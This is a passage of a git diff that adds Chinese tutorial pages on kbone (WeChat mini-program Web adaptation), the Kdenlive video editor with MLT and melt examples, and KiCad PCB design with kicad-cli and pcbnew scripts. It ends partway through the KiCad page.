+### 2. miniprogram-render（逻辑层适配）
+
+负责：
+
+- 实现 `document.createElement`、`appendChild`、`addEventListener` 等 DOM/BOM 子集；
+- 维护节点属性、样式、事件队列；
+- 与 `window`、`location` 等对象协作，支撑 SPA 路由跳转。
+
+上层框架（Vue 的 patch、React 的 reconciler）以为自己在操作真 DOM，实际都落在这棵树上。
+
+### 3. miniprogram-element（渲染层入口）
+
+监听仿造 DOM 的变化，生成小程序侧组件树；并把用户点击等原生事件**派发**回逻辑层的事件中心。任意 HTML 标签无法 1:1 对应小程序组件时，靠**通用自定义组件 + 属性映射**兜底。
+
+### 4. mp-webpack-plugin（构建桥梁）
+
+kbone 项目通常**两套 Webpack 配置**：
+
+- `webpack.dev/prod.config.js` — 正常打 Web 包；
+- `webpack.mp.config.js` — 打小程序包，并启用 `mp-webpack-plugin`。
+
+插件根据 `origin`、`entry`、`router` 把 Web 的 URL 路由映射成小程序页面路径，使 `location.href`、`vue-router` 的 `history` 模式在小程序里能转成 `wx.navigateTo` 等调用。
+
+### 5. 多页入口 `main.mp.js`
+
+与 Web 端单一 `main.js` 不同，小程序端**每个页面**有独立入口文件，例如 `src/mp/home/main.mp.js`。里面创建 Vue/React 根实例、挂路由，并 `export default function createApp()` 供 kbone 在页面生命周期里调用。Web 与小程序可**共享** `components/`、`store/`、`router` 定义，只在入口处分叉。
+
+## 示例一：Vue 小程序页入口（官方模板形态）
+
+下面摘自 kbone Vue 模板中 home 页的 `main.mp.js` 思路：在小程序里仍用 `vue-router` 的 `history` 模式，路由表与 H5 对齐。
+
+```js
+// src/mp/home/main.mp.js
+import Vue from 'vue'
+import Router from 'vue-router'
+import App from '../../App.vue'
+import store from '../../store'
+import Home from '../../home/Index.vue'
+
+Vue.use(Router)
+
+const router = new Router({
+  mode: 'history',
+  routes: [
+    { path: '/(home|index)?', name: 'Home', component: Home },
+    { path: '/index.html', name: 'HomeHtml', component: Home },
+    { path: '/test/(home|index)', name: 'HomeTest', component: Home },
+  ],
+})
+
+export default function createApp() {
+  const container = document.createElement('div')
+  container.id = 'app'
+  document.body.appendChild(container)
+
+  return new Vue({
+    el: '#app',
+    router,
+    store,
+    render: (h) => h(App),
+  })
+}
+```
+
+要点：
+
+- `document.createElement` 在小程序逻辑层由 kbone 实现，不是真 DOM；
+- `export default function createApp()` 是 kbone 约定的工厂函数，每个 `main.mp.js` 对应 `app.json` 里的一页；
+- 路由 `path` 需与 `mp-webpack-plugin` 的 `router` 配置一致，否则 `location` 跳转找不到目标页。
+
+## 示例二：mp-webpack-plugin 与跨端分支
+
+`build/miniprogram.config.js`（插件配置）与 Webpack 入口要成对出现：
+
+```js
+// build/webpack.mp.config.js（片段）
+const path = require('path')
+const webpack = require('webpack')
+const MpWebpackPlugin = require('mp-webpack-plugin')
+
+module.exports = {
+  entry: {
+    home: path.resolve(__dirname, '../src/mp/home/main.mp.js'),
+    detail: path.resolve(__dirname, '../src/mp/detail/main.mp.js'),
+  },
+  plugins: [
+    new webpack.DefinePlugin({
+      'process.env.isMiniprogram': true,
+    }),
+    new MpWebpackPlugin(
+      require('./miniprogram.config.js')
+    ),
+  ],
+}
+```
+
+```js
+// build/miniprogram.config.js
+module.exports = {
+  origin: 'https://myapp.example.com',
+  entry: '/',
+  router: {
+    home: ['/(home|index)?', '/test/(home|index)'],
+    detail: ['/detail/:id', '/test/detail/:id'],
+  },
+  generate: {
+    appEntry: 'miniprogram-app',
+    renderVersion: 'latest', // 对应 miniprogram-render 版本
+  },
+}
+```
+
+业务里可根据环境写少量分支：
+
+```js
+// src/utils/env.js
+export const isMp =
+  typeof wx !== 'undefined' && wx.getSystemInfoSync
+
+export function openLink(url) {
+  if (process.env.isMiniprogram) {
+    // 小程序内用 web-view 页或复制链接
+    wx.navigateTo({ url: `/pages/webview/index?src=${encodeURIComponent(url)}` })
+  } else {
+    window.open(url)
+  }
+}
+```
+
+`origin` 必须全站统一（同源），`router` 的 key（`home`、`detail`）要与 webpack `entry` 的 key 一致；`appEntry` 告诉插件不要把应用总入口误当成普通页面。
+
+## 示例三：原生 JS 操作 DOM（理解适配层）
+
+kbone 文档提供的极简片段，说明「Web 写法」如何触发小程序更新：
+
+```js
+// 逻辑层：与浏览器 API 相同
+const btn = document.createElement('button')
+btn.textContent = '点我'
+btn.addEventListener('click', () => {
+  const span = document.createElement('span')
+  span.textContent = '已点击'
+  document.body.appendChild(span)
+})
+document.body.appendChild(btn)
+```
+
+在 Web 端浏览器直接渲染；在小程序端，每次 `appendChild` 会更新仿造 DOM 树 → 经 `setData` 驱动 `miniprogram-element` 生成对应 `button`/`view` 节点。无需手写 WXML，但频繁大量节点仍会带来同步开销。
+
+## 项目结构（Vue 模板）
+
+```
+my-kbone-app/
+├── build/
+│   ├── miniprogram.config.js   # mp-webpack-plugin 配置
+│   ├── webpack.base.config.js
+│   ├── webpack.mp.config.js    # 小程序构建
+│   └── webpack.dev.config.js   # Web 开发
+├── dist/
+│   ├── mp/                     # 微信开发者工具打开此目录
+│   └── web/
+├── src/
+│   ├── mp/                     # 各页 main.mp.js
+│   │   ├── home/main.mp.js
+│   │   └── detail/main.mp.js
+│   ├── home/Index.vue          # 与 Web 共用
+│   ├── router/
+│   ├── store/
+│   ├── App.vue
+│   └── main.js                 # Web 入口
+└── index.html
+```
+
+| 命令 | 作用 |
+|------|------|
+| `npm run mp` | 监听编译小程序到 `dist/mp` |
+| `npm run web` | Web 开发服务器 |
+| `npm run build` | Web 生产构建 |
+| `npm run build:mp` | 小程序生产构建（模板脚本名可能略有不同） |
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| 微信原生小程序 | kbone 产物仍是标准小程序工程，可混用 `wx` API、分包、`usingComponents` |
+| Taro | Taro 偏「多端框架 + 运行时」；kbone 偏「Web 适配层」，不绑定特定 DSL |
+| uni-app | uni-app 默认 Vue 语法 + DCloud 工具链；kbone 由微信团队维护，专注微信 + Web 两端 |
+| Remax | 支付宝系运行时方案，原理类似（worker 维护 DOM 树），kbone 上层框架更开放 |
+| kbone-ui | 官方多端 UI 库，对齐 WeUI 样式，可同时服务 kbone 小程序与 Vue H5 |
+
+## 性能、限制与选型
+
+官方文档给出的经验法则：
+
+| 场景 | 建议 |
+|------|------|
+| 极致性能、复杂动画、超多节点列表 | 原生小程序或静态转译方案（如部分编译时框架） |
+| 常规业务、节点量中等、要复用 Vue Router / 老 H5 代码 | kbone |
+| 只要展示外部 H5 | `web-view` 即可，不必上 kbone |
+
+常见限制（详见官方「问题文档」）：
+
+- 不是所有 DOM/BOM API 都有实现或完全一致（如部分 CSS 计算、`iframe` 等）；
+- React 多页应用关闭时无根实例销毁 API，需在 `wxunload` / `beforeunload` 里手动卸载；
+- 长列表要考虑虚拟滚动或分页，避免仿造 DOM 树过大导致 `setData` 压力。
+
+## 常见问题与最佳实践
+
+**路由**：`vue-router` 的 `history` 模式依赖 `mp-webpack-plugin` 的 `origin` + `router`；改路径后两边要一起改。`notFound` 可配置为跳转某页、`webview` 或抛错。
+
+**样式**：优先 flex 布局；复杂选择器在小程序侧可能表现与 Chrome 不一致。关键页真机预览。
+
+**混用原生组件**：可在仿造 DOM 上扩展，或页面 JSON 里声明原生组件，与 kbone 生成的 WXML 共存。
+
+**调试**：Web 端用 Chrome DevTools；小程序端用微信开发者工具，逻辑层 console 在调试器里看。性能问题关注节点数量与 `setData` 频率。
+
+**升级**：`generate.renderVersion` 控制 `miniprogram-render` 主版本；大版本升级前在模板仓库看 CHANGELOG。
+
+## 学习路径建议
+
+零基础可按这条线推进：
+
+1. 用 `kbone init` 或 clone [kbone-template-vue](https://github.com/wechat-miniprogram/kbone-template-vue) / [kbone-template-react](https://github.com/wechat-miniprogram/kbone-template-react)；
+2. 同时跑通 `npm run web` 与 `npm run mp`，对照 `src/main.js` 与 `src/mp/*/main.mp.js` 的差异；
+3. 读 `build/miniprogram.config.js`，改一条 `router` 规则并新增页面入口，理解 URL → 小程序页的映射；
+4. 在共用组件里写一页列表 + 路由跳转，用开发者工具看仿造 DOM 同步是否流畅；
+5. 再读官方文档 [进阶用法](https://wechat-miniprogram.github.io/kbone/docs/guide/advanced.html) 与 [配置说明](https://wechat-miniprogram.github.io/kbone/docs/config/)。
+
+## 小结
+
+kbone 的核心是**用运行时浏览器适配层换 Web 代码的可移植性**：`miniprogram-render` 仿 DOM、`miniprogram-element` 接小程序渲染、`mp-webpack-plugin` 接构建与路由。它不是银弹——大 DOM、极致帧率场景应选型原生或编译时方案——但对「已有 Vue/React H5、要尽快进微信小程序且少改代码」的团队，是一条官方维护、文档齐全的同构路径。掌握「仿造 DOM 树 → setData → 自定义组件」这条主线，比死记 API 对照表更能长期维护 kbone 项目。
diff --git a/src/content/docs/projects/kdenlive.md b/src/content/docs/projects/kdenlive.md
new file mode 100644
index 000000000..dd6018ccb
--- /dev/null
+++ b/src/content/docs/projects/kdenlive.md
@@ -0,0 +1,236 @@
+---
+title: Kdenlive — KDE 非线性视频剪辑
+来源: 'https://github.com/KDE/kdenlive'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Kdenlive**（**K**DE **N**on-**L**inear **V**ideo **Ed**itor）是 KDE 社区出品的**免费开源非线性视频编辑器**，源码托管于 [KDE/kdenlive](https://github.com/KDE/kdenlive)，采用 GPL 许可，可在 Linux、Windows、macOS 与 BSD 上运行。它不像 [[ffmpeg]] 那样用命令行拼滤镜链，而是提供**多轨时间线、监视器、效果面板**——让你像剪实体胶片一样，在屏幕上拖拽、裁切、叠音、加转场，最后导出成片。
+
+日常类比：如果把 [[ffmpeg]] 比作**暗房里的化学冲印流水线**（输入配方、批量出片），Kdenlive 更像**带轨道灯的剪辑台**：
+
+> 你有一摞标了时间的录像带（素材），铺在多条轨道上——上面放画面、下面放对白和 BGM。剪刀（裁切工具）只改入出点，不毁掉原始磁带；透明胶片（转场/叠加）让两镜之间淡入淡出；调光台（调色效果）可以只作用于某一段。全部排好后，按「渲染」把多轨合成成一条 mp4，发给观众。
+
+再打个比方：Word 文档可以**随时回到第 3 段改一个字而不重写全文**——这就是「非线性」：剪辑顺序与素材存储顺序解耦。Kdenlive 的 `.kdenlive` 工程文件记录的是**引用关系与时间轴决策**，源视频文件通常保持不动。
+
+底层引擎是 **MLT Framework**（Media Lovin' Toolkit）：Kdenlive 负责 UI 与工程管理，MLT 负责**按时间拉帧、混轨、套滤镜、编码输出**。解码能力来自 FFmpeg（MLT 的 `avformat` producer），所以「FFmpeg 能读的格式，Kdenlive 基本都能直接拖进时间线」。
+
+## 为什么重要
+
+零基础学视频制作或内容管线，Kdenlive 的几个现实理由：
+
+- **零订阅成本**：对标 Premiere / Final Cut 的通用剪辑能力，个人与教学场景无授权压力
+- **不强制预转码**：多机位、混分辨率素材可进同一工程（工程分辨率会统一显示策略）
+- **代理剪辑（Proxy）**：4K 素材自动生成低清代理，笔记本上也能流畅预览，成片仍按原素材渲染
+- **与开源栈衔接**：导出后可用 [[ffmpeg]] 再压一遍；字幕、调色、嵌套时间线（23.04+）覆盖常见 UP 主 / 课程 / 活动记录工作流
+- **可脚本化渲染**：工程本质是 MLT XML，可用 `melt` 命令行无界面导出，适合批量与 CI
+
+## 核心要点
+
+### 1. 界面四块与数据流
+
+| 区域 | 类比 | 作用 |
+| --- | --- | --- |
+| **项目箱（Project Bin）** | 素材库货架 | 导入视频、音频、图片、标题、颜色条；可建文件夹分类 |
+| **片段监视器（Clip Monitor）** | 单盘试播机 | 预览单个素材，设 In/Out 点，做三点剪辑 |
+| **项目监视器（Project Monitor）** | 成片试映室 | 预览时间线合成结果，多机位时可切换角度 |
+| **时间线（Timeline）** | 多轨剪辑台 | 视频轨 / 音频轨分离；拖放、裁切、转场、关键帧 |
+
+数据流可以概括为：**Producer（素材源）→ 轨道上的 Filter（效果）→ Transition（轨间混合）→ Consumer（监视器或文件编码）**。这是 MLT 的四种基本服务，Kdenlive 用图形界面把它们藏起来，但排障时这套词汇很有用。
+
+### 2. 工程、序列与轨道
+
+- **工程（Project）**：全局设置——分辨率、帧率、色彩空间、代理策略
+- **序列（Sequence）**：23.04 起支持**嵌套时间线**；一个序列就是一条可独立导出的时间线，也可作为片段插入另一序列
+- **轨道（Track）**：现代 Kdenlive 中轨道分为**纯视频轨**与**纯音频轨**；拖入带声素材会自动拆成 V+A 各上一轨
+
+轨道头可**静音、隐藏、锁定、调高度、折叠**；复杂项目务必给轨命名（如 `A-Roll`、`B-Roll`、`Music`）。
+
+### 3. 剪辑模式与工具
+
+| 概念 | 说明 |
+| --- | --- |
+| **三点剪辑（3-Point Editing）** | 在片段监视器设素材 In/Out，在时间线设插入点；行业标准流程，Kdenlive 完整支持 |
+| **插入 vs 覆盖** | 插入把后续片段往后推；覆盖直接盖住原位置（类似磁带覆盖） |
+| **Ripple / Roll / Slip** | Ripple 裁切并移动同轨后方；Roll 改交界点两侧入出点；Slip 改素材内容窗口不改时间线占位 |
+| **区域（Zone）** | 在时间线标尺上标一段范围，可只渲染预览或只导出该区 |
+
+### 4. 效果、转场与关键帧
+
+- **效果（Effects）**：在 MLT 里叫 **filter**——模糊、调色、音量、速度（内部用 `timewarp` producer）等
+- **转场（Transitions）**：MLT 的 transition 是**双输入混合器**（如淡入淡出、擦除），不是「从 A 切到 B」的硬切本身
+- **关键帧**：多数效果参数可随时间变化；曲线类型含线性、离散、平滑
+
+### 5. 代理、预览渲染与导出
+
+| 机制 | 何时用 |
+| --- | --- |
+| **Proxy clips** | 源素材 ≥1080p 或机器卡顿；编辑用代理，导出用原片 |
+| **Timeline preview render** | 复杂特效实时播不动时，渲染时间线片段为绿色预览区 |
+| **Render（导出）** | 选编码器（H.264/H.265/ProRes 等）、音轨、范围，后台非阻塞渲染 |
+
+### 6. 与 MLT / FFmpeg 的分工
+
+```text
+[ 你的 mp4/mov ] ──avformat──► [ MLT 时间线合成 ] ──consumer──► [ 导出 mp4 ]
+        ▲                              │
+        │                              ├── filters（调色、模糊…）
+   FFmpeg 解码                    └── transitions（叠化…）
+```
+
+Kdenlive **不是** FFmpeg 的替代品：它是**带时间线的合成前端**；最终编码仍常走 FFmpeg 系 consumer。极致批处理、数据集抽帧仍应直接用 [[ffmpeg]] 或 [[decord]]。
+
+## 实践案例
+
+### 案例 1：用 melt 命令行渲染 Kdenlive 工程
+
+Kdenlive 保存的 `.kdenlive` 本质是 **MLT XML**（外加 Kdenlive 元数据）。安装 MLT 后可用 `melt` 无 GUI 导出——适合脚本化「 nightly 自动出片」：
+
+```bash
+# 将工程渲染为 H.264 + AAC（路径因发行版而异）
+melt /path/to/myproject.kdenlive \
+  -consumer avformat:final.mp4 \
+  vcodec=libx264 crf=18 acodec=aac ab=192k
+```
+
+说明：
+
+- `melt` 读取工程里**最后打开的序列**（MLT 文档约定最后一个 tractor 为活动时间线）
+- `consumer avformat:...` 即 MLT 的 FFmpeg 封装输出
+- GUI 里选的代理在命令行渲染时通常仍解析为原素材路径（以工程内记录为准）
+
+若只想导出时间线某一区间（与 GUI 的 Zone 类似），可配合入出点属性或先导出子序列；复杂项目建议先在 Kdenlive 里「文件 → 渲染」确认参数，再把预设迁到脚本。
+
+### 案例 2：最小 MLT 片段——理解 Kdenlive 在后台拼什么
+
+下面是一段**极简 MLT XML**（与 `.kdenlive` 内核同族），两路视频轨 + 叠化转场 + 输出文件。读它能理解「时间线不是魔法，是 tractor + playlist」：
+
+```xml
+<?xml version="1.0"?>
+<mlt LC_NUMERIC="C" version="7.28.0" title="mini-demo">
+  <profile description="HD 1080p 25 fps" width="1920" height="1080"
+           frame_rate_num="25" frame_rate_den="1" progressive="1"/>
+  <producer id="clipA" in="0" out="124">
+    <property name="resource">intro.mp4</property>
+  </producer>
+  <producer id="clipB" in="0" out="124">
+    <property name="resource">outro.mp4</property>
+  </producer>
+  <playlist id="trackV1">
+    <entry producer="clipA" in="0" out="124"/>
+  </playlist>
+  <playlist id="trackV2">
+    <blank length="100"/>
+    <entry producer="clipB" in="0" out="124"/>
+  </playlist>
+  <tractor id="main">
+    <track producer="trackV1"/>
+    <track producer="trackV2"/>
+    <transition>
+      <property name="mlt_service">luma</property>
+      <property name="a_track">0</property>
+      <property name="b_track">1</property>
+      <property name="start">100</property>
+      <property name="length">25</property>
+    </transition>
+  </tractor>
+</mlt>
+```
+
+用 melt 渲染：
+
+```bash
+melt mini-demo.mlt -consumer avformat:demo_out.mp4 vcodec=libx264 crf=20
+```
+
+对应关系：
+
+- `producer` = 素材源（Kdenlive 项目箱里的片段）
+- `playlist` = 单轨上的剪辑列表（含 `blank` 空隙）
+- `tractor` = 多轨合成器（Kdenlive 时间线本体）
+- `transition` = 轨间混合（Kdenlive 时间线上的转场条）
+
+Kdenlive 在 XML 上额外存储轨道锁定、代理路径、序列属性等；**MLT 可忽略这些 icing，只渲染核心网络**。
+
+### 案例 3：零基础工作流——从导入到导出
+
+1. **新建工程**：选 1920×1080、25fps（或匹配主要素材）
+2. **导入**：项目箱 → 添加文件夹；右键素材可「创建代理剪辑」
+3. **上时间线**：拖素材到 V 轨；音频自动到 A 轨
+4. **精剪**：`S` 分割、`Shift+]` 裁尾；用 Ripple 保持节奏
+5. **字幕/标题**：内置标题编辑器或 AI 语音转字幕（Whisper，导出 `.ass` / `.rst`）
+6. **调色**：效果栈 → 曲线 / 白平衡；Scopes 看波形与矢量示波器
+7. **导出**：渲染 → MP4（H.264+AAC）或 ProRes 给下游调色
+
+### 案例 4：与 FFmpeg 组合——导出后再压一遍
+
+Kdenlive 出片后，用 [[ffmpeg]] 做平台适配（例如限制码率发 B 站、抽音频做播客）：
+
+```bash
+# Kdenlive 导出 masters.mov 后，压成 1080p 流媒体友好 mp4
+ffmpeg -i masters.mov -c:v libx264 -preset slow -crf 20 \
+  -c:a aac -b:a 192k -movflags +faststart upload.mp4
+```
+
+`-movflags +faststart` 把 moov 移到文件头，利于 Web 渐进播放——与 Kdenlive 内置导出预设目的一致，CLI 便于写入 Makefile。
+
+## 踩过的坑
+
+1. **Windows 路径与插件**：部分版本在 Windows 上效果插件、硬件加速不如 Linux 完整；遇怪相优先查 [官方 Windows Issues](https://docs.kdenlive.org/)。
+
+2. **代理未切换回原片**：导出前在项目设置确认「使用代理」策略；否则可能误渲低清代理。
+
+3. **可变帧率（VFR）素材**：手机录屏常见 VFR，时间线长度与音画同步可能漂。先用 [[ffmpeg]] `-vsync cfr` 转恒定帧率再精剪更稳。
+
+4. **嵌套序列与磁盘空间**：预览渲染 + 代理会占大量缓存；定期清理 `~/.cache/kdenlive` 或设置 → 缓存路径。
+
+5. **把 Kdenlive 当数据集工具**：机器学习随机采帧应用 [[decord]] / FFmpeg，不要用 GUI 剪辑台批处理万条视频。
+
+6. **MLT 术语「transition」**：习惯 Premiere 的人易误解——在 MLT 里它是**混合器**，硬切往往是「无转场」或长度为零的剪辑点。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 课程、访谈、Vlog、活动记录的**多轨剪辑与字幕**
+- 开源栈下的**免费非编**（Linux 桌面、学校机房）
+- 需要**嵌套时间线**管理复杂章节的项目
+- 导出前后与 **FFmpeg / melt** 脚本联动的半自动化流程
+
+**不适用**：
+
+- 训练数据管线内**按帧随机读取**（用 [[decord]]、[[ffmpeg]]）
+- 好莱坞级协作（Avid / Resolve 工作室流程）
+- 实时合成广播级 CG（倾向专业合成器或 Resolve Fusion）
+- 仅做格式转换、抽帧、压码率（直接用 [[ffmpeg]]）
+
+## 历史小故事（可跳过）
+
+- **2002–2003**：Jason Wood 发起 Kdenlive，目标做 KDE 上的开源非编。
+- **2008–2010**：项目迁至 MLT + Qt，与 FFmpeg 生态深度绑定。
+- **2015 前后**：GSoC 与社区推动效果、监视器、关键帧完善。
+- **2020+**：Windows/macOS 移植成熟；代理剪辑与 4K 工作流成为默认话题。
+- **2022.08**：集成 Glaxnimate，支持 Lottie/矢量动画进时间线。
+- **2023.04**：**嵌套时间线（序列）**落地，工程 XML 改为每序列独立 tractor。
+- **2024+**：AI 字幕（Whisper）、多语言翻译进入主流程；与 KDE Gear 同步发布（如 24.08、25.04、26.04 文档线）。
+
+## 学到什么
+
+- **非线性** = 工程记录决策，不毁源文件；`.kdenlive` 是 MLT XML 加编辑器元数据。
+- 脑中保留 MLT 四件套：**Producer / Filter / Transition / Consumer**，看效果面板不再迷糊。
+- **代理 + 预览渲染** 解决的是交互流畅度，不是画质；导出要确认走原素材。
+- 与 [[ffmpeg]] 是**上下游关系**：Kdenlive 剪辑合成，FFmpeg 转码交付；`melt` 是两者之间的命令行桥梁。
+- 免费开源非编已覆盖「从素材到成片」主线；瓶颈更多在**叙事与音频**，而不是有没有 Premiere。
+
+## 延伸阅读
+
+- [Kdenlive 官方手册](https://docs.kdenlive.org/en/index.html) — 界面、工作流、渲染
+- [KDE/kdenlive dev-docs：MLT 概念](https://github.com/KDE/kdenlive/blob/master/dev-docs/mlt-intro.md)
+- [KDE/kdenlive dev-docs：工程文件格式](https://github.com/KDE/kdenlive/blob/master/dev-docs/fileformat.md)
+- [MLT Framework 设计文档](https://www.mltframework.org/docs/framework/)
+- 对比轻量开源非编：[[shotcut]]（同样基于 MLT）；重型调色：DaVinci Resolve
+- 下游转码：[[ffmpeg]]；训练侧读视频：[[decord]]
diff --git a/src/content/docs/projects/kicad.md b/src/content/docs/projects/kicad.md
new file mode 100644
index 000000000..2ca0abef4
--- /dev/null
+++ b/src/content/docs/projects/kicad.md
@@ -0,0 +1,234 @@
+---
+title: KiCad — 电子电路 CAD
+来源: https://github.com/KiCad/kicad-source-mirror
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**KiCad** 是一套**免费开源**的电子设计自动化（EDA）软件，源码镜像托管于 [KiCad/kicad-source-mirror](https://github.com/KiCad/kicad-source-mirror)。它用 C++ 编写，跨 Windows、macOS、Linux，核心能力是把「电路想法」变成**可制造的 PCB**——从原理图、元器件封装、双层/多层布线，到 Gerber 钻孔文件与 3D 预览，一条龙完成。CERN 等机构长期参与生态建设，常被称作开源 EDA 的旗舰之一。
+
+日常类比：如果把做一块电路板比作**装修一套房子**，KiCad 的角色接近「建筑 + 水电施工图」全家桶：
+
+- **原理图（Schematic）** 像**户型电路图**——灯开关连哪根线、插座从哪路电来，只关心「谁和谁电气相连」，不管插座贴在墙上还是地上；
+- **封装（Footprint）** 像**家具底座的螺丝孔位**——电阻在板子上占多大面积、引脚间距 2.54 mm 还是 0.5 mm，必须和实物一致；
+- **PCB 布局（Layout）** 像**现场铺线**——铜箔走线在板子哪一层、过孔钻多大、地平面怎么铺，决定信号能不能稳定工作；
+- **Gerber / 钻孔文件** 像**交给工厂的切割图纸**——板厂不看你的 `.kicad_pcb`，只看这些标准格式去蚀刻铜、钻孔。
+
+再打个比方：KiCad 在工具谱系里接近 **Altium / Eagle 的开源替代**。和 [[librecad]]、[[freecad]] 画机械外形不同，KiCad 管的是**电气连接 + 阻抗 + 制造规则**；和 [[openscad]] 用代码挤出 3D 实体也不同，KiCad 的「代码感」更多体现在 **Python 脚本、`kicad-cli` 命令行** 和 **S 表达式网表** 上。
+
+## 为什么重要
+
+零基础想「自己画板子、打样、焊接」，KiCad 有几个现实理由：
+
+- **零授权费、开源**：个人、学校、创业公司不必为 EDA 席位付费；GPL 许可，社区可审计、可贡献
+- **完整工作流**：原理图编辑器（Eeschema）、PCB 编辑器（Pcbnew）、符号/封装编辑器、Gerber 查看器、3D 查看器、PCB 计算器、集成 SPICE 仿真——不必拼凑五六个工具
+- **库生态大**：官方与社区符号/封装库持续更新；缺件时可从 SnapEDA、厂商 PDF 自建 footprint
+- **制造对接成熟**：导出 Gerber + Excellon 钻孔，全球板厂（JLCPCB、PCBWay 等）直接吃；BOM 可 CSV 导出给贴片
+- **自动化友好**：`kicad-cli` 适合 CI 里批量出图；`pcbnew` Python API 适合批量改丝印、铺铜、检查
+
+代价也要心里有数：**学习曲线比 Fritzing 陡**；高速、射频、复杂 HDI 需要额外仿真与规则经验；符号与封装必须自己核对，库错误会导致「能画不能焊」。
+
+## 核心要点
+
+### 1. 项目与文件结构
+
+新建项目后，KiCad 通常生成一组关联文件：
+
+| 文件 | 作用 |
+| --- | --- |
+| `*.kicad_pro` | 项目总控：库表、网类、设计规则入口 |
+| `*.kicad_sch` | 原理图（可多页 sheet） |
+| `*.kicad_pcb` | PCB 布局与铜箔 |
+| `fp-lib-table` / `sym-lib-table` | 封装库、符号库搜索路径 |
+| `*.kicad_prl` | 个人本地 UI 状态（常不提交 git） |
+
+类比：`.kicad_pro` 是「工程文件夹索引」，原理图是逻辑合同，PCB 是施工蓝图。
+
+### 2. 符号（Symbol）与封装（Footprint）
+
+- **Symbol**：原理图里的抽象块——引脚名、编号、电气类型（输入/输出/电源），**不管物理尺寸**
+- **Footprint**：PCB 上的焊盘与丝印轮廓——必须与实物 datasheet 一致
+
+二者通过 **封装指派（Assign Footprints）** 绑定。KiCad **不会**像某些老工具那样自动「一个元件永远对应一个封装」；每个原理图元件都要显式选好 footprint，否则更新到 PCB 时会报缺件。
+
+### 3. 典型工作流
+
+官方文档（[Getting Started in KiCad 9](https://docs.kicad.org/9.0/en/getting_started_in_kicad/getting_started_in_kicad.html)）归纳的主线：
+
+```text
+建项目 → 画原理图 → 标注(Annotate) → 指派封装 → ERC
+    → 更新到 PCB → 画板框 → 摆放元件 → 布线 → 铺铜 → DRC
+    → 导出 Gerber/钻孔 → 下单打样
+```
+
+- **ERC（Electrical Rules Check）**：原理图级——电源悬空、引脚类型冲突、未连接输入等
+- **DRC（Design Rules Check）**：PCB 级——线距、线宽、过孔、铜皮间隙是否满足工艺
+
+### 4. 网（Net）、网类（Net Class）与铺铜
+
+- **Net**：电气上连在一起的节点，如 `GND`、`+3V3`、`USB_D+`
+- **Net Class**：给不同 net 设默认线宽、间隙、过孔尺寸——电源线常比信号线宽
+- **Filled Zone（铺铜）**：大面积铜皮，常用于 **GND 平面**，降低回流阻抗、改善 EMC
+
+SparkFun 等教程强调：铺好 GND 后按 `B` 填充（Fill），再跑 DRC，比「一根根地线走线」稳得多。
+
+### 5. 制造输出
+
+板厂需要：
+
+| 输出 | 说明 |
+| --- | --- |
+| Gerber（每层铜、阻焊、丝印） | 光绘图形 |
+| 钻孔文件（Excellon） | 通孔、过孔坐标与直径 |
+| 可选：BOM、坐标文件 | SMT 贴片用 |
+
+KiCad 内 **File → Plot** 生成 Gerber；**Generate Drill Files** 生成钻孔。下单前用 **Gerber Viewer** 叠层检查有无断线、镜像错误。
+
+### 6. 与其他工具的关系
+
+| 维度 | KiCad | Fritzing | 商业 Altium |
+| --- | --- | --- | --- |
+| 定位 | 全功能开源 EDA | 创客面包板友好 | 企业级全流程 |
+| 学习曲线 | 中 | 低 | 高 |
+| 自动化 | Python + CLI 强 | 弱 | 脚本/插件丰富 |
+| 典型用户 | 工程师、Maker、高校 | 教学演示 | 公司量产 |
+
+机械外壳仍常用 [[freecad]] / [[librecad]] 画板框 DXF，再导入 KiCad `Edge.Cuts` 层对齐。
+
+## 代码示例
+
+### 示例 1：`kicad-cli` 批量导出 Gerber（CI / 脚本）
+
+KiCad 8+ 提供 **`kicad-cli`**，适合在终端或 GitHub Actions 里「无 GUI 出生产资料」。无需打开 PCB 编辑器即可从 `.kicad_pcb` 导出 Gerber：
+
+```bash
+# 查看 pcb 子命令帮助
+kicad-cli pcb --help
+
+# 从 PCB 导出 Gerber 到 gerbers/ 目录（路径因版本略有差异，以 --help 为准）
+kicad-cli pcb export gerbers \
+  --output gerbers/ \
+  my_project.kicad_pcb
+
+# 导出钻孔
+kicad-cli pcb export drill \
+  --format excellon \
+  --output gerbers/ \
+  my_project.kicad_pcb
+
+# 导出 BOM（需原理图）
+kicad-cli sch export bom \
+  --format csv \
+  --output bom.csv \
+  my_project.kicad_sch
+```
+
+**使用场景**：每次 git push 后自动出 Gerber 压缩包，避免「手点 Plot 忘了某一层」；与 [[gitleaks]] 式流水线类似，把易错手工步骤变成可重复命令。
+
+### 示例 2：Python `pcbnew` 批量改丝印可见性
+
+Pcbnew 内置 **Python** 接口（官方示例见源码 `demos/python_scripts_examples/`）。下面脚本加载一块板，隐藏所有元件的 **Value** 丝印、保留 **Reference**（位号），适合量产板面清爽：
+
+```python
+#!/usr/bin/env python3
+"""批量隐藏 Value、显示 Reference。用法: python hide_values.py board.kicad_pcb"""
+import sys
+from pcbnew import LoadBoard, SaveBoard
+
+def main(path: str) -> None:
+    board = LoadBoard(path)
+    for fp in board.GetFootprints():
+        ref = fp.Reference()
+        val = fp.Value()
+        ref.SetVisible(True)
+        val.SetVisible(False)
+    out = f"mod_{path}"
+    SaveBoard(out, board)
+    print(f"Saved {out}")
+
+if __name__ == "__main__":
+    if len(sys.argv) != 2:
+        sys.exit("usage: hide_values.py <file.kicad_pcb>")
+    main(sys.argv[1])
+```
+
+在 KiCad 自带的 **PCB Editor → Tools → Scripting Console** 里也可交互执行 `import pcbnew` 后片段。注意：内部坐标常用纳米（nm），画新走线时用 `pcbnew.FromMM(0.25)` 转线宽更稳妥。
+
+### 示例 3：原理图网表片段（S-expression）
+
+KiCad 原理图/PCB 底层是**文本化 S 表达式**，便于 diff 与工具链处理。网表连接概念上类似：
+
+```lisp
+(net (code 1) (name "GND")
+  (node (ref "C1") (pin "2"))
+  (node (ref "U1") (pin "8"))
+  (node (ref "R1") (pin "1")))
+(net (code 2) (name "+3V3")
+  (node (ref "C1") (pin "1"))
+  (node (ref "U1") (pin "7")))
+```
+
